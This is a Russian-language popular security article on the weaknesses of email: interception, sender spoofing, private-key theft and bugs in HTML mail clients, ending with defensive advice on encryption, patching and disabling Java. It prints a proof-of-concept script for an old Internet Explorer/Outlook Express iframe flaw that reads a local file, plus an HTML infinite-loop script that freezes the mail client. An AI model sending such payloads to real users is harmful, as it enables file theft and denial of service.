Укрощение @Интернет@

       

A:Небезопасность электронной почты


Электронная почта – неотъемлемая часть современного документооборота. Несомненные преимущества – быстрота доставки и дешевизна эксплуатации дают ей неоспоримые преимущества перед обычной, - "улиточной", – почтой. В то же время электронная почта ощутимо уступает бумажной в отношении безопасности.

Почерк (если только письмо не было напечатано на машинке) позволяет с высокой точностью идентифицировать отправителя, а штемпель служит надежным индикатором целости сообщения. Ничего этого нет в электронной почте – электронные письма подвержены угрозе

а) перехвата;

б) модификации;

в) фальсификации адреса отправителя.

Угроза перехвата: Глобальные и локальные сети общего назначения принципиально не способны противостоять перехвату трафика в пределах одного сегмента, а внедрение ложных ARP- и DNS-серверов позволяет осуществить и межсегментный перехват. Объяснение причин такой уязвимости потребовало бы очень много места и поэтому здесь не приводится. Этой теме и без того посвящено множество публикаций, в том числе книги "Атака на Internet" Ильи Медведовского и "Техника сетевых атак" Криса Касперски.

Даже без установки дополнительного оборудования техническая возможность "подслушать" любого абонента сети существует как у спецслужб, так и Васи Пупкина, снабженного лишь модемом и минимальныйм

уровнем знаний.

Естественным выходом из ситуации становится шифрование всех или, по крайней мере, конфиденциальных сообщений. Несимметричные криптоалгоритмы

используют для шифровки и расшифровки текста два различных, никак не связанных между собой ключа: публичный и секретный. Секретный ключ никогда не передается по сети и теоретически недосягаем злоумышленнику.

Однако несимметричная криптография с одной парой ключей имеет тот существенный для почтовых сообщений недостаток, что принципиально неспособна гарантировать аутентичность отправителя сообщения: любой, кому вздумается, может зашифровать публичным ключом свое письмо и отправить его от чужого имени. (Вообще-то, грамотно подделать заголовок письма ничуть не легче чем сымитировать чей-то почерк, но кто станет пристально анализировать заголовок, если письмо выглядит достоверным и не внушает серьезных подозрений?)


Цифровая подпись путем использования двух пар публичных и секретных ключей теоретически обеспечивает:



а) поверку подлинности сообщения;

б) гарантию целостности сообщения;

в) неотрицание авторства сообщения.

Практически же, неотрицание авторства никогда не срабатывает, - всегда есть возможность сослаться на утерю секретного ключа, после которой поставить цифровую подпись мог кто угодно. А может ли секретный ключ быть похищен без ведома его владельца?

Существуют два способа хранения секретных ключей – в файле или неком аппаратно-биологическом комплексе, подключенном к компьютеру. (Человек, вводящий пароль с клавиатуры, относится ко второму типу).

В первом случае для похищения ключа злоумышленнику достаточно получить доступ к локальным файлам жертвы, а во втором – заслать на атакуемый компьютер программу-шпиона, отслеживающую обмен с ключевым устройством (например, перехватывающего ввод с клавиатуры). Если это удастся – шифр падет! Таким образом, незащищенность секретного ключа сводит на нет надежность всех криптографических систем!

Простейший способ внедрить шпиона – послать его вместе с письмом в надежде, что жертва "лопухнется" и запустит исполняемый файл. (см. "Какие почтовые вложения безопасны?") А если не запустит? Находится ли в безопасности пользователь, который не открывает никаких потенциально опасных вложений, в том числе и документов Word, могущих содержать вредоносные макросы? Нет! И причиной тому служат вездесущие программные ошибки реализации, присутствующие буквально во всех почтовых системах. Дабы не быть голословным приведу несколько конкретных примеров.

Больше всего проблем связано с HTML-форматом писем: высокая сложность браузеров, вынужденных поддерживать множество всевозможных форм и кучу скриптовых языков, приводит к взаимным конфликтам и противоречиям. Например, поддержка плавающих форм в Internet Explorer 5.01 (и в некоторых других версиях) реализована с ошибкой. Событие “NavigateComplete2”, извещающие о завершении переселения документа на новое местоположение, позволяет получить доступ к этому документу, даже если он расположен на локальном диске клиента, чего по идеологии виртуальной Java-машины произойти ни в коем случае не должно! (Но, все ж таки происходит).



Хотите выяснить защищены ли вы от подобных посягательств? Тогда проведите следующий эксперимент: сначала создайте в корневом каталоге диска "C:" файл, "test.txt", который и послужит объектом нападения. Запишите в него какую-нибудь фразу, например "Hello, Sailor!" (во избежание проблем с кодировками кириллицу лучше не использовать). Затем запустите "Outlock Express 5.х" и, создав новое сообщение в формате HTML (именно такой формат и установлен по умолчанию), в меню "Вид" установите галочку "Изменение источника" и, щелкнув по появившейся в левом нижнем углу закладке "Источник", вставьте в начало документа следующий текст: "<SCRIPT> z=window.open("http://kpnc.lib.ru/iframe.htm"); </SCRIPT>", где "http://kpnc.lib.ru/iframe.htm" – путь к HTML-файлу следующего содержания:

<SCRIPT>

z=window.open("file://C:/iframe.htm");

</SCRIPT>

<IFRAME ID="Z"></IFRAME>

<SCRIPT for=Z event="NavigateComplete2(x)">

alert(x.document.body.innerText);

</SCRIPT>

<SCRIPT>

Z.navigate("file://c:/test.txt");

</SCRIPT>

Отправьте письмо самому себе и, если у вас установлена операционная система Windows 2000 в конфигурации по умолчанию или Windows 98/NT c обновленным Internet Explorer 5.x, при попытке просмотра полученного сообщения появится диалоговое окно, демонстрирующее содержимое тестового файла. Заменив вызов "alert" на процедуру пересылки информации по сети, злоумышленник сможет похитить у вас любой файл, в том числе и секретный ключ!

Описанная выше ошибка – не единственная в своем роде: не проходит и дня (!), чтобы в существующем программном обеспечении не открылся очередной лаз. Подпишитесь на рассылку "Ученого кота" (http://www.security.nnov.ru), чтобы постоянно получать свежую информацию о проблемах безопасности и ссылки на "горячие" заплатки производителей. Если этого не сделаете вы, – это сделает злоумышленник и, используя вашу неосведомленность, пролезет в одну из незаткнутых дыр, захватив контроль над системой (см. "Где можно узнать о самых свежих дырках и последних обновлениях приложений?", "Что такое заплатки и как их устанавливать?")



Все это наводит на грустные размышления и пессимистичные выводы, – никакие меры предосторожности и комплексы защитных средств не могут гарантированно защитить, и в лучшем случае лишь снижают вероятность успешной атаки, но не исключают ее возможность полностью.

Потом, все защиты удивительно терпимо относятся к всевозможным зацикливаниям и пожираниям системных ресурсов. Например, пошлите сами себе HTML-сообщение, содержащее следующий код – "<SCRIPT> while (1) {alert("Haste La Vista!");}</SCRIPT>". Попытка его просмотра намертво блокирует почтового клиента зацикленным модальным диалогом, и даже удалить вредоносное сообщение окажется невозможно! В качестве альтернативного варианта можно создавать в бесконечном цикле множество окон размером миллион на миллион пикселей, которые с исчезающей быстротой сожрут все ресурсы системы! Выйти из ситуации можно лишь отключением поддержки Java, но всякий ли пользователь знает как ее отключить? (для информации – отключать виртуальную машину Java следует в настройке уровней безопасности браузера). А вызов системного администратора – время, которое стоит вполне осязаемых денег.

Как, если не обезопасить себя, то хотя бы усложнить жизнь злоумышленнику? Попробуйте придерживаться следующих советов – всегда (!) шифруйте свою корреспонденцию, заверяя ее электронной подписью, даже если она не содержит ничего конфиденциального. Иначе злоумышленник сможет послать от вашего имени незашифрованное сообщение, которое получатель примет за подлинное. Напротив, если вы всегда шифруете свои послания, подлинность письма, посланного открытым текстом, вызовет сомнения у получателя и побудит его связаться с вами в попытке прояснить ситуацию.

Виртуальную машину Java в почтовом клиенте настоятельно рекомендуется отключить – ни к чему она там, а еще лучше совсем отказаться от просмотра сообщений, присланных в HTML-формате. Если же это невозможно (а обычно это невозможно) – внимательно относитесь к обновлению приложений, и оперативно устанавливайте свежие исправления.



Стремитесь не использовать новые версии: поначалу в них всегда обнаруживается множество ошибок. Нет, вовсе не значит, что продукты одно-двух годичной давности защищены лучше, но злоумышленники склонны сосредотачивать свои усилия именно на новинках, а анализировать старые версии – занятие неблагородное и бесперспективное: у кого они сейчас установлены? Разумеется, если начнется массовая миграция пользователей на ранние версии, ситуация измениться на противоположную, и использование новых версий окажется более предпочтительным.

Категорически не рекомендуется давать секретным файлам предсказуемые имена и устанавливать утилиты шифрования в каталоги по умолчанию! Не забывайте о постоянной смене паролей и внимательно относитесь к уничтожению старых ключей – простое удаление файла небезопасно (например, Windows NT позволяет злоумышленнику получить доступ к содержимому чужых мусорных корзин – а хакеры никогда не брезговали лазить по мусоркам и помойкам).

Не забывайте и об угрозе, исходящей от антивирусов: так, например, в ноябре 1999 года была обнаружена серьезная уязвимость в SMTP-шлюзе "Interscan VirusWall 3.2x", работающего под управлением Windows NT. Программное обеспечение, предназначенное для защиты от вирусов с оптимистичным названием "Вирусная преграда", оказалось способным принести своим обладателям значительно больший ущерб, чем тот, что доставляет типичный вирус. Бездумная установка средств защиты приводит не к усилению, а ослаблению безопасности компьютера.

Родственные вопросы:

Какие почтовые вложения безопасны?

Где можно узнать о самых свежих дырках и последних обновлениях приложений

Что такое заплатки и как их устанавливать?


Содержание раздела